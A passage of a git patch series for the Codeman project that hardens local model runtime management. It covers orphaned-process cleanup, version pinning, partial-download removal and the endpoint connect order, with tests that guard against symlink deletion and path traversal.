adopt(ownOrphan, port, contextLength); + if (answering === version && (await worthAdopting(target, contextLength))) { + adopt(ownOrphan, port, contextLength, version); return { ok: true, pid: ownOrphan, port, orphan: 'adopted' }; } await stopOrphan(ownOrphan); orphan = 'replaced'; - } else if (version !== undefined) { + } else if (answering !== undefined) { return { ok: false, code: 'port-in-use', - detail: `A model runtime that Codeman did not start answers on port ${port} (version ${version})`, + detail: `A model runtime that Codeman did not start answers on port ${port} (version ${answering})`, }; } if (!(await portFreeWithin(port, orphan === 'replaced' ? STOP_GRACE_MS : 0))) { return { ok: false, code: 'port-in-use', detail: `Another program holds port ${port}` }; } - const launched = await launch(port, contextLength, gen); + const launched = await launch(port, contextLength, version, gen); if (!launched.ok) return { ok: false, code: 'runtime-start-failed', detail: launched.detail }; return { ok: true, @@ -1253,11 +1369,18 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps }; } - async function doStop(): Promise<void> { + async function doStop(options: RuntimeStopOptions = {}): Promise<void> { generation += 1; wanted = undefined; await restarting; await stopCurrent(); + runningVersion = undefined; + // A runtime an earlier server left behind: not a child of this process, known only by the + // pid the state file kept. Ended when (and only when) its command line is our own binary. + const { previousPid } = options; + if (previousPid !== undefined && Number.isInteger(previousPid) && previousPid > 1) { + if (isOwn(await deps.commandOfPid(previousPid).catch(() => undefined))) await stopOrphan(previousPid); + } setState({ running: false, pid: undefined, @@ -1274,10 +1397,10 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps serialize(() => doStart(options)).catch( (err): RuntimeStartResult => ({ ok: false, code: 'runtime-start-failed', detail: errorText(err) }) ), - stop: () => { + stop: (options) => { // At once, not when its turn comes: a start that is still waiting for the runtime gives up. generation += 1; - return serialize(doStop).catch(() => undefined); + return serialize(() => doStop(options)).catch(() => undefined); }, status: () => ({ ...state }), }; diff --git a/test/local-model-runtime.test.ts b/test/local-model-runtime.test.ts index 26886e5b..e6ecbc76 100644 --- a/test/local-model-runtime.test.ts +++ b/test/local-model-runtime.test.ts @@ -37,6 +37,7 @@ import { OLLAMA_RUNTIME_PIN, parseInferenceComputeTotal, removeLocalModelFiles, + removePartialModelBlobs, RUNTIME_DOWNLOAD_RETRIES, RUNTIME_KEEP_ALIVE, RUNTIME_MAX_RESTARTS, @@ -935,6 +936,42 @@ describe('removeLocalModelFiles', () => { expect(await readFile(join(outside, 'precious.gguf'), 'utf8')).toBe('the only copy'); }); + it('refuses a local model folder that is itself a symlink, and deletes nothing behind it', async () => { + // <data dir>/local-model is a link to a folder somewhere else that happens to hold the + // three names this feature deletes. + const elsewhere = await outsideDir(); + await mkdir(join(elsewhere, 'home'), { recursive: true }); + await writeFile(join(elsewhere, 'home', 'thesis.txt'), 'the only copy'); + await mkdir(join(elsewhere, 'runtime'), { recursive: true }); + await mkdir(join(elsewhere, 'models', 'blobs'), { recursive: true }); + await writeFile(join(elsewhere, 'models', 'blobs', 'sha256-abc'), 'weights'); + await mkdir(join(paths.root, '..'), { recursive: true }); + await symlink(elsewhere, paths.root); + try { + await expect(removeLocalModelFiles({ models: true, paths })).rejects.toThrow(/symbolic link/); + expect(await readFile(join(elsewhere, 'home', 'thesis.txt'), 'utf8')).toBe('the only copy'); + expect(await readFile(join(elsewhere, 'models', 'blobs', 'sha256-abc'), 'utf8')).toBe('weights'); + expect(existsSync(join(elsewhere, 'runtime'))).toBe(true); + // The partial blobs are not deleted through the link either. + await writeFile(join(elsewhere, 'models', 'blobs', 'sha256-def-partial'), 'half'); + expect(await removePartialModelBlobs(paths)).toBe(0); + expect(existsSync(join(elsewhere, 'models', 'blobs', 'sha256-def-partial'))).toBe(true); + } finally { + // The link itself, never what it points at. + await rm(paths.root, { force: true }); + } + }); + + it('refuses a local model folder that is a file', async () => { + await mkdir(join(paths.root, '..'), { recursive: true }); + await writeFile(paths.root, 'not a folder'); + try { + await expect(removeLocalModelFiles({ models: true, paths })).rejects.toThrow(/not a folder/); + } finally { + await rm(paths.root, { force: true }); + } + }); + it('removes a symlink it meets inside a folder, not the tree behind it', async () => { const outside = await outsideDir(); await writeFile(join(outside, 'keep.txt'), 'keep'); @@ -980,3 +1017,54 @@ describe('removeLocalModelFiles', () => { expect(await readFile(join(outside, 'runtime', 'keep.txt'), 'utf8')).toBe('keep'); }); }); + +describe('removePartialModelBlobs', () => { + const blob = (name: string): string => join(paths.modelsDir, 'blobs', name); + + it('deletes what an interrupted download left, and keeps every finished blob and the manifests', async () => { + await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true }); + await mkdir(join(paths.modelsDir, 'manifests', 'registry.ollama.ai'), { recursive: true }); + await writeFile(blob('sha256-aaa'), 'finished weights'); + await writeFile(blob('sha256-bbb-partial'), '12345'); + await writeFile(blob('sha256-bbb-partial-0'), '678'); + await writeFile(blob('sha256-bbb-partial-1'), '9'); + await writeFile(join(paths.modelsDir, 'manifests', 'registry.ollama.ai', 'latest'), '{}'); + + // The bytes that were freed: 5 + 3 + 1. + expect(await removePartialModelBlobs(paths)).toBe(9); + expect(existsSync(blob('sha256-bbb-partial'))).toBe(false); + expect(existsSync(blob('sha256-bbb-partial-0'))).toBe(false); + expect(existsSync(blob('sha256-bbb-partial-1'))).toBe(false); + expect(await readFile(blob('sha256-aaa'), 'utf8')).toBe('finished weights'); + expect(existsSync(join(paths.modelsDir, 'manifests', 'registry.ollama.ai', 'latest'))).toBe(true); + }); + + it('is fine without a model store, and deletes nothing a second time', async () => { + expect(await removePartialModelBlobs(paths)).toBe(0); + await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true }); + await writeFile(blob('sha256-ccc-partial'), 'xx'); + expect(await removePartialModelBlobs(paths)).toBe(2); + expect(await removePartialModelBlobs(paths)).toBe(0); + }); + + it('touches only regular files directly in the blob folder', async () => { + const outside = await outsideDir(); + await writeFile(join(outside, 'keep-partial'), 'keep'); + await mkdir(join(paths.modelsDir, 'blobs', 'a-partial-folder'), { recursive: true }); + await writeFile(join(paths.modelsDir, 'blobs', 'a-partial-folder', 'inside-partial'), 'keep'); + // A link whose name carries the marker: the link stays, and so does what it points at. + await symlink(join(outside, 'keep-partial'), blob('sha256-ddd-partial')); + expect(await removePartialModelBlobs(paths)).toBe(0); + expect(await readFile(join(outside, 'keep-partial'), 'utf8')).toBe('keep'); + expect(existsSync(join(paths.modelsDir, 'blobs', 'a-partial-folder', 'inside-partial'))).toBe(true); + }); + + it('leaves a blob folder alone that is a symlink to somewhere else', async () => { + const outside = await outsideDir(); + await writeFile(join(outside, 'sha256-eee-partial'), "half of somebody else's model"); + await mkdir(paths.modelsDir, { recursive: true }); + await symlink(outside, join(paths.modelsDir, 'blobs')); + expect(await removePartialModelBlobs(paths)).toBe(0); + expect(existsSync(join(outside, 'sha256-eee-partial'))).toBe(true); + }); +}); diff --git a/test/local-model-supervisor.test.ts b/test/local-model-supervisor.test.ts index e51e4049..b3e883ad 100644 --- a/test/local-model-supervisor.test.ts +++ b/test/local-model-supervisor.test.ts @@ -25,7 +25,7 @@ import { rm } from 'node:fs/promises'; import { createServer, type Server } from 'node:net'; import type { ChildProcess, SpawnOptions } from 'node:child_process'; import { afterEach, beforeEach, describe, expect, it } from 'vitest'; -import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js'; +import { localModelPaths, runtimeBinaryForVersion, type LocalModelPaths } from '../src/local-model/paths.js'; import { createRuntimeSupervisor, RUNTIME_MAX_RESTARTS, @@ -794,3 +794,112 @@ describe('stop', () => { expect(process.listenerCount('exit')).toBe(before); }); }); + +// ---------- A runtime an earlier server left behind, and the pid that names it ---------- + +describe('the pid is told the moment the child is spawned', () => { + it('reports it before the child answers, so a server killed during the start leaves a pid', async () => { + // The child never answers: the start waits, and is told to stop. + const fake = fakeRuntime({ spawn: { neverListens: true } }); + const { supervisor, changes } = supervise(fake, { + startTimeoutMs: 60_000, + sleep: () => new Promise((resolve) => setTimeout(resolve, 5)), + }); + const starting = supervisor.start({ port, contextLength: CONTEXT }); + await until(() => children(fake).length === 1, 'the child to be spawned'); + await until(() => changes.some((status) => status.pid === children(fake)[0].pid), 'the pid to be reported'); + const early = changes.find((status) => status.pid === children(fake)[0].pid); + // Not running yet: it has not answered. + expect(early).toMatchObject({ running: false, pid: children(fake)[0].pid }); + await supervisor.stop(); + await starting; + // A start that failed leaves no pid behind. + expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false }); + }); +}); + +describe('stop with the pid the state file kept', () => { + it('ends a runtime of ours that this process never started', async () => { + let gone = false; + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined), + kill: (pid, signal) => { + kills.push([pid, signal]); + gone = true; + }, + }); + await supervisor.stop({ previousPid: ORPHAN_PID }); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + // Nothing was spawned to do it. + expect(children(fake)).toHaveLength(0); + }); + + it('ends one that runs another version of ours: the folder decides, not the version', async () => { + let gone = false; + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { + commandOfPid: async (pid) => + pid === ORPHAN_PID && !gone ? `${runtimeBinaryForVersion(paths, '0.39.2')} serve` : undefined, + kill: (pid, signal) => { + kills.push([pid, signal]); + gone = true; + }, + }); + await supervisor.stop({ previousPid: ORPHAN_PID }); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + }); + + it('never signals a pid that runs something else now, nor one that is gone', async () => { + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID ? '/usr/local/bin/ollama serve' : undefined), + }); + await supervisor.stop({ previousPid: ORPHAN_PID }); + await supervisor.stop({ previousPid: ORPHAN_PID + 1 }); + await supervisor.stop({ previousPid: 1 }); + await supervisor.stop({ previousPid: Number.NaN }); + expect(kills).toEqual([]); + }); + + it('stops its own child first, and the stored pid only when it is somebody else', async () => { + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake); + const started = await supervisor.start({ port, contextLength: CONTEXT }); + expect(started.ok).toBe(true); + await supervisor.stop({ previousPid: children(fake)[0].pid }); + expect(children(fake)[0].signals).toEqual(['SIGTERM']); + // The child is gone by then: its pid names nothing of ours any more. + expect(kills).toEqual([]); + }); +}); + +describe('start with the version an installed model was installed with', () => { + it('runs that version from its own folder and expects it to answer as that version', async () => { + const fake = fakeRuntime({ version: '0.39.2' }); + const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } }); + const result = await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' }); + expect(result).toMatchObject({ ok: true }); + expect(children(fake)[0].command).toBe(runtimeBinaryForVersion(paths, '0.39.2')); + // Asked again the same way: the child is kept. Asked for the pinned version: replaced. + await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' }); + expect(children(fake)).toHaveLength(1); + }); + + it('a restart after a crash starts the same version again', async () => { + const fake = fakeRuntime({ version: '0.39.2' }); + const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } }); + await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' }); + children(fake)[0].crash(); + await until(() => children(fake).length === 2 && supervisor.status().running, 'the restart'); + expect(children(fake)[1].command).toBe(runtimeBinaryForVersion(paths, '0.39.2')); + }); + + it('refuses a version that is no version before anything is spawned', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + const result = await supervisor.start({ port, contextLength: CONTEXT, version: '../../bin' }); + expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' }); + expect(children(fake)).toHaveLength(0); + }); +}); From fa978008d2963c457921835180153b6597ad3c66 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 23:54:45 +0100 Subject: [PATCH 20/28] fix(local-model): claim the connection first, keep an outcome the disk refused, say why a start failed The connect step records the connection in the state file BEFORE it writes the endpoint record and the settings flag (the flag's earlier value read by inspectLocalEndpoint()), so a state write that fails or a server killed between the two never leaves a record of ours that the state file does not know; a record under the reserved id that says exactly what ours would say is ours. changePort() writes the state first and puts the old port back when the endpoint move is refused. A job whose end could not be written (a full disk) is kept in memory: the view shows it, Resume and a new install start from it, the next verb writes it, and Cancel never answers a 500. A first install on a full disk is a 507 with the sentence. "installing" in the file while this process runs no job always reads as paused or that failure. An installed model whose runtime does not start says so (runtime-start-failed with Start as the next step, and the launch check says it too); the stored runtime version is started while its folder is unpacked. Stop, Remove and the boot of anything that is not a running installation end a runtime an earlier server left behind before any file is deleted. Stop and "Use another port" answer 409 sessions-open while a live session uses the model. A pull that failed because the runtime is gone is runtime-stopped, not a network problem. After "does not fit" only a model that needs less memory is offered. A replaced job's partial blobs are deleted. Every 400 carries its sentence as data.message, and the six inline sentences are labels with zh-CN entries. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/local-model/connect.ts | 74 ++- src/local-model/install-job.ts | 621 +++++++++++++++---- src/local-model/ollama-client.ts | 4 +- src/types/local-model-install.ts | 68 ++- src/web/routes/custom-model-routes.ts | 12 +- src/web/routes/local-model-routes.ts | 45 +- test/local-model-connect.test.ts | 72 +++ test/local-model-install-e2e.test.ts | 92 ++- test/local-model-install-job.test.ts | 39 ++ test/local-model-install-service.test.ts | 729 ++++++++++++++++++++++- test/local-model-ollama-client.test.ts | 4 +- test/routes/custom-model-routes.test.ts | 2 +- test/routes/local-model-routes.test.ts | 69 ++- 13 files changed, 1647 insertions(+), 184 deletions(-) diff --git a/src/local-model/connect.ts b/src/local-model/connect.ts index a5001f9e..0af1fb12 100644 --- a/src/local-model/connect.ts +++ b/src/local-model/connect.ts @@ -15,6 +15,15 @@ * Rules: * - The id is reserved. A record with it that this feature did not write is never * overwritten: the connect step fails with `endpoint-id-taken`. + * - The connection is CLAIMED before it is written: the install job records `connection` in + * the state file first (`inspectLocalEndpoint()` tells it what is there and what the flag + * is), then calls `connectLocalModel()` with `ours: true`. A state write that fails, or a + * server that is killed between the two, therefore never leaves a record of ours that the + * state file does not know: the worst case is a claim with nothing behind it, which a + * resumed job fills in and Remove undoes. + * - Second net: a record with the reserved id that already says exactly what ours would say + * (`isSameLocalEndpoint()`) is ours whatever `ours` says. Nobody else can have made it: the + * endpoint routes refuse the reserved id. * - Both writes are idempotent, so a resumed job writes them again. * - Undoing removes our record, and switches the flag off again only when this feature * switched it on AND no other endpoint is saved. @@ -27,7 +36,10 @@ import { mutateCustomModelHosts } from '../custom-model-hosts-writer.js'; import type { CustomModelHost } from '../custom-model-hosts.js'; +import { getDataDir } from '../config/instance.js'; +import { readCustomModelHosts } from '../custom-model-hosts.js'; import { getErrorMessage, type LocalModelErrorCode } from '../types.js'; +import { readJsonConfig, SETTINGS_PATH } from '../web/route-helpers.js'; import { CustomModelHostSchema } from '../web/schemas.js'; import { mutateSettingsFile } from '../web/settings-writer.js'; import { readLocalModelState } from './state-store.js'; @@ -63,10 +75,58 @@ export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModel }; } +/** + * Whether a saved record says exactly what our record for `input` says: the same address, the + * one model, its context, no key. What discovery may have added to it (context lengths, a + * time stamp) does not count. Pure. + */ +export function isSameLocalEndpoint(host: CustomModelHost, input: LocalEndpointInput): boolean { + const ours = buildLocalEndpointRecord(input); + return ( + host.id === ours.id && + host.label === ours.label && + host.baseUrl === ours.baseUrl && + host.authStyle === ours.authStyle && + host.apiKey === undefined && + Array.isArray(host.models) && + host.models.length === 1 && + host.models[0] === input.modelId && + host.defaultModelId === ours.defaultModelId && + host.defaultContextLength === ours.defaultContextLength + ); +} + +/** What the connect step finds before it claims the connection. */ +export interface LocalEndpointInspection { + /** + * The saved record with the reserved id: there is none, it says what ours would say, or it + * says something else (somebody else's: `endpoint-id-taken`). + */ + record: 'absent' | 'same' | 'other'; + /** `customModelEndpointsEnabled` right now: what the claim keeps as the value before this feature. */ + flagEnabled: boolean; +} + +/** + * Looks at the endpoint store and the settings flag WITHOUT writing either. The install job + * calls it before it claims the connection in the state file. Rejects when the endpoint store + * cannot be read; a settings file that cannot be read counts as "the flag is off". + */ +export async function inspectLocalEndpoint(input: LocalEndpointInput): Promise<LocalEndpointInspection> { + const hosts = await readCustomModelHosts(getDataDir()); + const existing = hosts.find((host) => host.id === LOCAL_MODEL_ENDPOINT_ID); + const settings = await readJsonConfig<Record<string, unknown>>(SETTINGS_PATH, 'settings.json', {}); + return { + record: !existing ? 'absent' : isSameLocalEndpoint(existing, input) ? 'same' : 'other', + flagEnabled: settings[ENDPOINTS_FLAG] === true, + }; +} + export interface ConnectLocalModelInput extends LocalEndpointInput { /** * True when the state file already records a connection of ours: an existing record with - * our id is then ours and is replaced. False: such a record is somebody else's. + * our id is then ours and is replaced. False: such a record is somebody else's, unless it + * says exactly what ours would say (`isSameLocalEndpoint()`). */ ours: boolean; /** @@ -106,7 +166,7 @@ export async function connectLocalModel(input: ConnectLocalModelInput): Promise< outcome = await mutateCustomModelHosts<'added' | 'replaced' | 'taken'>((hosts) => { const index = hosts.findIndex((host) => host.id === record.id); if (index === -1) return { hosts: [...hosts, record], result: 'added' }; - if (!input.ours) return { result: 'taken' }; + if (!input.ours && !isSameLocalEndpoint(hosts[index], input)) return { result: 'taken' }; const next = [...hosts]; next[index] = record; return { hosts: next, result: 'replaced' }; @@ -158,13 +218,17 @@ async function removeLocalEndpoint(): Promise<number> { }); } -/** Moves our record to another port (the answer to "Use another port" once connected). A missing record is not an error. */ +/** + * Moves our record to another port (the answer to "Use another port" once connected). A + * missing record is not an error, and a record that is already there is not written again. + */ export async function moveLocalEndpoint(port: number): Promise<void> { + const baseUrl = `http://127.0.0.1:${port}`; await mutateCustomModelHosts<void>((hosts) => { const index = hosts.findIndex((host) => host.id === LOCAL_MODEL_ENDPOINT_ID); - if (index === -1) return { result: undefined }; + if (index === -1 || hosts[index].baseUrl === baseUrl) return { result: undefined }; const next = [...hosts]; - next[index] = { ...next[index], baseUrl: `http://127.0.0.1:${port}` }; + next[index] = { ...next[index], baseUrl }; return { hosts: next, result: undefined }; }); } diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index 7d688f74..cc2ae0d8 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -41,7 +41,8 @@ * | | never removed by us | | | * | `connect` | our endpoint record and the settings | honoured before the first write; once | writes both again | * | | flag: the two writes outside our | the writes began they finish and the job | | - * | | folder | ends `installed` | | + * | | folder. The state file claims them | ends `installed` | | + * | | first | | | * * How the memory budget gets measured before a model is downloaded (ONE consent, bound to the * size shown): the person confirms `Candidate.installBytes` once. The `runtime` step then @@ -62,7 +63,9 @@ * - A job read as `installing` at boot was interrupted by the restart: the service applies * the event `restart` before anything else, so it is `paused` and waits for a click. * - A new install from `paused` or `failed` REPLACES the job. When it names another model, - * what the old job left of its model is deleted from the store first. + * what the old job left of its model is deleted from the store first: the model through the + * runtime when it was downloaded whole, and the partial blobs of a download that was + * interrupted (the runtime knows no model for those, so they are deleted as files). * - Install is checked before anything is downloaded: admin only in multi-user mode; the * model, the context and the coding agent must be a row the current recommendation offers; * the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must be the @@ -80,13 +83,29 @@ * - A download's progress is kept in memory, written to the state file every few seconds and * when the job pauses or fails. The view shows the live figure and its speed. * - What blocks a session on an installed model (another program on the port, a runtime that - * keeps stopping, a model whose digest changed) is found live and shown as `error` on the - * view. It is never stored, and the state stays `installed`. - * - `launchRefusalMessage()` is what both session launch paths ask before they start a - * session on the managed endpoint: the digest is read again for every launch. + * keeps stopping or did not start, a model whose digest changed) is found live and shown as + * `error` on the view. It is never stored, and the state stays `installed`. + * - `launchRefusalMessage()` is what every path that STARTS a coding agent on the managed + * endpoint asks first: a new session with the model, a model applied to a session, the + * attach that starts an agent in a session that has none, and the rebuild after a reboot. + * The digest is read again for every one of them. Two things are not launches and are not + * asked: a pane that survived a server restart (its agent is already running), and a + * respawn cycle (it types into the agent that runs). * - With a model installed, `boot()` puts the saved endpoint record back when it is gone (a * config-backup restore can take it away), starts the runtime unless it was stopped, and * reads the digest again. + * - A runtime an earlier server left behind (a crash, a forced quit) is never left running + * under a deleted folder or beside a second one: its pid is stored the moment it is + * spawned, a start adopts or replaces it, and Stop, Remove and the boot of anything that + * is not a running installation end it (`RuntimeSupervisor.stop({ previousPid })`). + * - An installed model keeps the runtime VERSION it was installed with: when a later build + * pins another version, the stored one is started for as long as its folder is unpacked. + * - A job whose end could not be written to the state file (a full disk) is not lost: the + * outcome is kept in memory, the view shows it, Resume and a new install start from it, and + * the next verb writes it. The same holds for any `installing` in the file while this + * process runs no job, which is what a restart leaves too. + * - Stop and "Use another port" are refused (409 `sessions-open`) while live sessions use + * the model: their coding agents were given the address when they started. */ import { appendAdminAudit } from '../web/admin-audit.js'; @@ -124,6 +143,7 @@ import { type LocalModelInstallState, type LocalModelInstallStep, type LocalModelInstallView, + type LocalModelNextStep, type LocalModelProgress, type LocalModelRemoveRequest, type LocalModelResumeRequest, @@ -139,12 +159,14 @@ import { connectLocalModel, disconnectLocalModel, ensureLocalEndpoint, + inspectLocalEndpoint, isLocalModelEndpointId, LOCAL_MODEL_ENDPOINT_ID, moveLocalEndpoint, type ConnectLocalModelInput, type ConnectResult, type LocalEndpointInput, + type LocalEndpointInspection, } from './connect.js'; import { checkDeveloperTools } from './developer-tools.js'; import { formatGb } from './format.js'; @@ -164,8 +186,8 @@ import { type PullResult, type VerifyResult, } from './ollama-client.js'; -import { localModelPaths, type LocalModelPaths } from './paths.js'; -import { modelFitsBudget, recommend } from './recommend.js'; +import { localModelPaths, runtimeBinaryForVersion, type LocalModelPaths } from './paths.js'; +import { modelFitsBudget, needBytes, recommend } from './recommend.js'; import { chooseRuntimePort, createRuntimeSupervisor, @@ -173,6 +195,7 @@ import { isRuntimeInstalled, OLLAMA_RUNTIME_PIN, removeLocalModelFiles, + removePartialModelBlobs, RUNTIME_PORT_FIRST, type ChooseRuntimePortOptions, type RemoveLocalModelFilesOptions, @@ -304,7 +327,15 @@ export const INSTALL_STEP_TABLE: Readonly<Record<LocalModelInstallStep, InstallS resume: 'Pulls again. The runtime continues its partial blobs.', progress: true, needsRuntime: true, - errors: ['pull-failed', 'model-not-found', 'runtime-start-failed', 'port-in-use', 'disk-full', 'internal'], + errors: [ + 'pull-failed', + 'model-not-found', + 'runtime-start-failed', + 'runtime-stopped', + 'port-in-use', + 'disk-full', + 'internal', + ], }, verify: { does: 'Loads the model with one tiny chat, checks that the runtime put all of it on the GPU at the chosen context, runs one tool probe, and stores the digest the runtime reports.', @@ -335,12 +366,12 @@ export const INSTALL_STEP_TABLE: Readonly<Record<LocalModelInstallStep, InstallS errors: ['harness-failed', 'internal'], }, connect: { - does: 'Writes the endpoint record and switches the custom model endpoints setting on, keeping its previous value in the state file.', + does: 'Claims the connection in the state file (with the value the custom model endpoints setting has now), then writes the endpoint record and switches that setting on.', onDisk: - 'Our record in custom-model-hosts.json and the flag in settings.json: the two writes outside the local model folder.', + 'Our record in custom-model-hosts.json and the flag in settings.json: the two writes outside the local model folder. The state file records the claim before either is written, so neither can exist without it.', cancel: - 'Honoured before the first write. Once the writes began they finish and the job ends installed, so the pair is never left half done.', - resume: 'Writes both again. Both are idempotent.', + 'Honoured before the first write. Once the writes began they finish and the job ends installed. A job interrupted between the claim and the writes has a claim with nothing behind it, which Resume fills in and Remove undoes.', + resume: 'Writes both again. Both are idempotent, and the claim keeps the value the setting had before.', progress: false, needsRuntime: true, errors: ['endpoint-id-taken', 'connect-failed', 'internal'], @@ -508,6 +539,8 @@ export interface InstallLiveFacts { gaveUp: boolean; /** Another program holds the stored port: the error `port-in-use` in state `installed`. */ portInUse: boolean; + /** The last start of the runtime failed for another reason: the error `runtime-start-failed` in state `installed`, with what the runtime said. */ + startFailed?: { detail?: string }; /** The stored digest against the runtime's current one (`compareModelDigest()`). `changed` is the error `model-changed`. Absent while not installed. */ digest?: 'same' | 'changed' | 'unknown'; developerTools: LocalModelDeveloperTools; @@ -525,9 +558,15 @@ export interface InstallLiveFacts { /** An error code with its sentence, its slots and its one next step. Pure. */ export function buildInstallError( code: LocalModelErrorCode, - extra: { vars?: Record<string, string>; detail?: string; nextModel?: { modelId: string; modelLabel: string } } = {} + extra: { + vars?: Record<string, string>; + detail?: string; + nextModel?: { modelId: string; modelLabel: string }; + /** The next step in the state the error is shown in, when it is not the code's default. */ + next?: LocalModelNextStep; + } = {} ): LocalModelInstallError { - const next = LOCAL_MODEL_ERROR_NEXT[code]; + const next = extra.next ?? LOCAL_MODEL_ERROR_NEXT[code]; return { code, message: { @@ -542,8 +581,8 @@ export function buildInstallError( /** * What blocks a session in state `installed`, found live and never stored: another program - * on the port, a runtime that keeps stopping, a model that changed. `undefined` when nothing - * does, which includes a runtime the person stopped. Pure. + * on the port, a runtime that keeps stopping, a runtime that did not start, a model that + * changed. `undefined` when nothing does, which includes a runtime the person stopped. Pure. */ export function installedBlocker( state: LocalModelStateFile, @@ -554,6 +593,13 @@ export function installedBlocker( return buildInstallError('port-in-use', { vars: { port: String(state.runtime?.port ?? '') } }); } if (!live.running && live.gaveUp) return buildInstallError('runtime-stopped'); + if (!live.running && live.startFailed) { + // Start is the verb an installed model has: it tries the start again. + return buildInstallError('runtime-start-failed', { + next: 'start', + ...(live.startFailed.detail ? { detail: live.startFailed.detail } : {}), + }); + } if (live.digest === 'changed') return buildInstallError('model-changed'); return undefined; } @@ -646,6 +692,8 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa vars: state.error.vars, detail: state.error.detail, nextModel: live.nextModel, + // A job has no Start verb: what helps there is to run the step again. + ...(LOCAL_MODEL_ERROR_NEXT[state.error.code] === 'start' ? { next: 'retry' as const } : {}), }); } return view; @@ -667,10 +715,11 @@ export interface LocalModelActor { ip?: string; } -/** How a verb ended: the view after it, a 400 with its message, or a 409 with its conflict. */ +/** How a verb ended: the view after it, a refusal with its sentence, or a 409 with its conflict. */ export type LocalModelVerbResult = | { ok: true; view: LocalModelInstallView } - | { ok: false; status: 400; message: string } + /** 400: the request is not something the server offers. 507: nothing could be started because the disk is full. */ + | { ok: false; status: 400 | 507; message: LocalModelInstallMessage } | { ok: false; status: 409; conflict: LocalModelConflict }; /** @@ -710,6 +759,8 @@ export interface LocalModelServiceDeps { listRunning: (target: OllamaTarget, signal?: AbortSignal) => Promise<OllamaPsModel[]>; getRuntimeVersion: (target: OllamaTarget, signal?: AbortSignal) => Promise<string | undefined>; deleteModel: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise<boolean>; + /** `removePartialModelBlobs()` of src/local-model/runtime.ts: what an interrupted download left in the model store. Resolves with the bytes freed. */ + removePartialModelBlobs: (paths?: LocalModelPaths) => Promise<number>; // src/local-model/developer-tools.ts checkDeveloperTools: () => Promise<LocalModelDeveloperTools>; // src/cli-install-runner.ts @@ -721,6 +772,8 @@ export interface LocalModelServiceDeps { /** Writes one admin audit line (`appendAdminAudit()`). */ audit: (entry: { admin: string; action: string; target: string; ip?: string; detail?: unknown }) => Promise<void>; // src/local-model/connect.ts + /** What is saved under the reserved id and what the settings flag is, read before the connection is claimed. Writes nothing. */ + inspectLocalEndpoint: (input: LocalEndpointInput) => Promise<LocalEndpointInspection>; connectLocalModel: (input: ConnectLocalModelInput) => Promise<ConnectResult>; moveLocalEndpoint: (port: number) => Promise<void>; /** Puts our endpoint record back when it is gone (after a config-backup restore). True when it was added. */ @@ -749,9 +802,10 @@ export interface LocalModelService { * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the * error that refuses the launch. While the runtime child Codeman started is not alive * (whatever answers on the port then is not ours), the reason is the one that is known: - * `port-in-use`, `runtime-stopped`, else `runtime-not-running`. While it runs, the digest is - * read again: `model-changed` when it is not the stored one or the model is gone. The session - * launch path asks this before it starts a session with the managed endpoint. Never throws. + * `port-in-use`, `runtime-stopped`, `runtime-start-failed`, else `runtime-not-running`. + * While it runs, the digest is read again: `model-changed` when it is not the stored one or + * the model is gone. Every path that starts a coding agent on the managed endpoint asks + * this first (see the file header for the list). Never throws. */ launchRefusal(endpointId: string): Promise<LocalModelInstallError | undefined>; /** @@ -767,10 +821,21 @@ export interface LocalModelService { install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise<LocalModelVerbResult>; /** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */ cancel(): Promise<LocalModelVerbResult>; - /** `POST /api/local-model/resume`. */ - resume(request: LocalModelResumeRequest, actor: LocalModelActor): Promise<LocalModelVerbResult>; - /** `POST /api/local-model/runtime`. */ - runtime(request: LocalModelRuntimeRequest): Promise<LocalModelVerbResult>; + /** + * `POST /api/local-model/resume`. `liveSessionNames` as for `remove()`: with `newPort` and a + * connection of ours, not empty answers 409 `sessions-open`. + */ + resume( + request: LocalModelResumeRequest, + actor: LocalModelActor, + liveSessionNames?: readonly string[] + ): Promise<LocalModelVerbResult>; + /** + * `POST /api/local-model/runtime`. `liveSessionNames` as for `remove()`: Stop and a start on + * another port answer 409 `sessions-open` while one of them uses the model, because their + * coding agents keep calling the address they were started with. + */ + runtime(request: LocalModelRuntimeRequest, liveSessionNames?: readonly string[]): Promise<LocalModelVerbResult>; /** * `DELETE /api/local-model`. `liveSessionNames` is what `sessionNamesUsingEndpoint()` found: * not empty answers 409 `sessions-open` while a connection of ours exists. Else: stop the @@ -788,13 +853,14 @@ export interface LocalModelService { * Called once when the server starts. An interrupted job becomes `paused`. With a model * installed: the saved endpoint record is put back when it is gone, a runtime that was not * stopped is started (an own orphan on the port is adopted or replaced, another listener is - * `port-in-use`) and the digest is read again. Never throws, and never keeps the server - * from starting. + * `port-in-use`) and the digest is read again. In every other case a runtime an earlier + * server left behind is 